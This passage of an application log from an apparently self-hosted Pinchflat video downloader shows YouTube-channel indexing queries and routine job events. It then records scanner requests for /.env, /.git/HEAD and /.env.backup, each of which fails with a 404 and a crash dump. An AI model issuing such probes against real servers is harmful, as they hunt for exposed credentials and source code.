our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE", "hvMewRuugus", 1743, false, "https://www.youtube.com/watch?v=hvMewRuugus", "/downloads/shows/Maizen/Season 2026/s2026e051000 - Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE.mp4", false, 2, ~U[2026-05-10 22:16:00Z]] 17:34:29.003 [debug] QUERY OK source="sources" db=0.2ms idle=4.3ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-08-20 00:34:29Z], ~U[2026-08-20 00:34:29Z], 2] 17:34:29.004 [debug] QUERY OK source="media_items" db=1.3ms idle=3.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 17:34:29.006 [debug] QUERY OK source="media_items" db=1.3ms idle=4.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 17:34:29.006 [debug] QUERY OK source="media_items" db=0.4ms idle=4.9ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 17:34:29.008 [debug] QUERY OK source="tasks" db=0.3ms idle=3.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [17069, 2, ~U[2026-08-20 00:34:29Z], ~U[2026-08-20 00:34:29Z]] 17:34:29.008 [info] {"args":{"id":2},"id":17066,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":26967124,"event":"job:stop","queue_time":811003,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 17:34:46.937 [info] {"source":"oban","duration":1312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:00.070 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:35:16.939 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:46.941 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:00.071 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:36:16.943 [info] {"source":"oban","duration":985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:46.945 [info] {"source":"oban","duration":1095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:00.072 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:37:16.947 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:46.949 [info] {"source":"oban","duration":1228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:00.073 [info] {"source":"oban","duration":262,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:38:16.951 [info] {"source":"oban","duration":1035,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:46.953 [info] {"source":"oban","duration":1036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:00.074 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:39:16.955 [info] {"source":"oban","duration":1088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:46.957 [info] {"source":"oban","duration":1144,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:00.075 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:40:16.959 [info] {"source":"oban","duration":1108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:46.961 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:00.076 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:41:16.963 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:46.965 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:00.077 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:42:16.967 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 17:42:46.969 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:00.078 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:43:16.971 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:46.973 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:00.079 [info] {"source":"oban","duration":324,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:44:16.975 [info] {"source":"oban","duration":1335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:46.977 [info] {"source":"oban","duration":1182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:00.080 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:45:16.979 [info] {"source":"oban","duration":1106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:46.981 [info] {"source":"oban","duration":1072,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:00.081 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:46:16.983 [info] {"source":"oban","duration":1026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:46.990 [info] {"source":"oban","duration":6546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 17:47:00.082 [info] {"source":"oban","duration":198,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:47:16.992 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 17:47:46.994 [info] {"source":"oban","duration":1280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:00.083 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:48:16.996 [info] {"source":"oban","duration":1235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:46.998 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:00.084 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:49:17.000 [info] {"source":"oban","duration":1253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:47.002 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:00.085 [info] {"source":"oban","duration":251,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:50:02.737 [info] GET /.env 17:50:02.737 [debug] QUERY OK source="settings" db=0.1ms idle=1444.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:02.738 [debug] QUERY OK source="settings" db=0.2ms idle=454.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:02.738 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:02.738 [error] #PID<0.162652.0> running PinchflatWeb.Endpoint (connection #PID<0.162651.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162651.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 38718}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162652.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dHC1WH_M5FycAFn9h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162651.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 38718}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162651.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 38718}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162652.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dHC1WH_M5FycAFn9h"} ], scheme (truncated) 17:50:03.504 [info] GET /.git/HEAD 17:50:03.505 [debug] QUERY OK source="settings" db=0.2ms idle=1221.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:03.505 [debug] QUERY OK source="settings" db=0.1ms idle=1210.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:03.505 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:03.505 [error] #PID<0.162654.0> running PinchflatWeb.Endpoint (connection #PID<0.162653.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /.git/HEAD ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162653.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 38728}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162654.0>, params: %{}, path_info: [".git", "HEAD"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/.git/HEAD", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dHFsTOjqJaNwAFn-B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162653.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 38728}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162653.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 38728}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162654.0>, params: %{}, path_info: [".git", "HEAD"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/.git/HEAD", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, (truncated) 17:50:04.175 [info] GET /.env.backup 17:50:04.176 [debug] QUERY OK source="settings" db=0.2ms idle=1438.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:04.176 [debug] QUERY OK source="settings" db=0.1ms idle=1438.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:04.176 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:04.176 [error] #PID<0.162656.0> running PinchflatWeb.Endpoint (connection #PID<0.162655.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /.env.backup ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162655.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 38744}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162656.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/.env.backup", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dHIMSbwjGaoMABvEE"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, 